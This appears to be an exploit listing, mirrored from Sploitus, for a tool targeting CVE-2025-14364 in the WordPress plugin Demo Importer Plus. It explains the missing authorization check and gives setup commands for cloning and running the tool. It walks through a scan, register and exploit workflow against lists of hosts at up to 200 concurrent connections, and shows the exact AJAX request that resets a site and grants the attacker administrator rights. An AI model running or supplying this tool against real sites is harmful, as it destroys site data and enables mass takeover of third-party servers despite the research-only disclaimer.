Share
## https://sploitus.com/exploit?id=EA43A806-33AC-5986-AFF4-9184BC25229B
# CVE-2025-14364
Demo Importer Plus <= 2.0.8 - Missing Authorization to Authenticated (Subscriber+) Site Reset and Privilege Escalation
# CVE-2025-14364 โ Demo Importer Plus ยท Full Site Reset โ Privilege Escalation
```
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
```
> **Authenticated Subscriber โ Administrator via `do-reinstall` AJAX action**
---
---
## ใ 1 ใ Vulnerability
| | |
|---|---|
| **CVE** | CVE-2025-14364 |
| **CVSS v3.1** | **8.8 HIGH** โ `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CNA** | Wordfence |
| **Plugin** | Demo Importer Plus |
| **Affected** | All versions โค **2.0.8** |
| **Auth needed** | Subscriber (lowest registered role) |
| **Type** | Missing Capability Check โ Full Site Reset โ Privilege Escalation |
| **CWE** | CWE-862 ยท Missing Authorization |
**Root Cause:**
`Ajax::handle_request()` registers the `demo_importer_plus` AJAX action without calling `current_user_can()`. Any authenticated subscriber can send `{"demo_action":"do-reinstall"}` to trigger `wp_install()`, which drops all database tables (except `users` / `usermeta`) and re-runs WordPress setup โ automatically assigning the **Administrator role** to the attacking account in the process.
---
## ใ 2 ใ Attack Flow
```
Mode 1 โ Diagnose
Probe: DNS ยท /wp-login.php ยท /wp-admin/admin-ajax.php ยท REST /wp/v2/users
โ Identify live WordPress targets
Mode 2 โ Register
POST /wp-login.php?action=register
โ Create subscriber account
โ Activation email sent to inbox
โณ You MUST click the email link before running Mode 3
Mode 3 โ Exploit
POST /wp-login.php โ Authenticate as subscriber
GET /wp-admin/ โ Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} โ Trigger full site reset
โ Response: "Site has been reset successfully"
โ Attacking account now holds Administrator role
```
---
## ใ 3 ใ Setup
```bash
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
```
**`requirements.txt`**
```
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
```
---
## ใ 4 ใ Usage
```
Mode [1/2/3]: 1 = Diagnose 2 = Register 3 = Exploit
Targets file: list.txt (one host per line)
Concurrency: default 30, max 200
Timeout: default 10s
```
**Targets format โ `list.txt`:**
```
https://target1.com
target2.com
http://target3.com
```
### โบ Mode 1 ยท Diagnose
Probes four endpoints per host and writes clean results.
```bash
Mode: 1
```
Output โ `diagnostics_results.txt` ยท `passed_targets.txt`
---
### โบ Mode 2 ยท Register
```bash
Mode: 2
Email: attacker@example.com
Username: Nxploited
Password: NxploitedSA
```
> Check your inbox and **click the activation link** before running Mode 3.
Output โ `register_results.txt`
---
### โบ Mode 3 ยท Exploit
```bash
Mode: 3
Username: Nxploited
Password: NxploitedSA
```
On success the tool prints:
```
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
```
And writes to `exploit_results.txt`:
```
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
```
---
## ใ 5 ใ Output Files
| File | Contents |
|---|---|
| `diagnostics_results.txt` | Full probe JSON per target |
| `passed_targets.txt` | Clean targets (no errors detected) |
| `register_results.txt` | Registration attempt records |
| `exploit_results.txt` | Login ยท nonce ยท reset results ยท confirmed admin hits |
| `reset_results.txt` | Raw `do-reinstall` response per target |
---
## ใ 6 ใ Technical Detail
**Vulnerable request:**
```http
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce:
{"demo_action":"do-reinstall"}
```
**Successful response:**
```json
{"success": true, "data": {"message": "Site has been reset successfully"}}
```
**Nonce extraction โ two fallback sources:**
```
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
```
---
## ใ 7 ใ Author & Contact
```
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
```
[](https://github.com/Nxploited)
[](https://t.me/KNxploited)
---
## ใ 8 ใ Disclaimer
```
THIS SOFTWARE IS RELEASED STRICTLY FOR SECURITY RESEARCH AND EDUCATION.
The author bears zero responsibility for any actions taken with this tool
against systems the operator does not own or have explicit written
authorization to test.
Unauthorized use against third-party systems violates computer crime laws
in most jurisdictions (CFAA, CMA, and equivalents worldwide) and may result
in criminal prosecution.
You alone are responsible for ensuring you have lawful permission
before running this tool against any target.
```
---
ยฉ 2025 Nxploited ยท Security Research Only ยท Demo Importer Plus โค 2.0.8 ยท Fixed in 2.0.9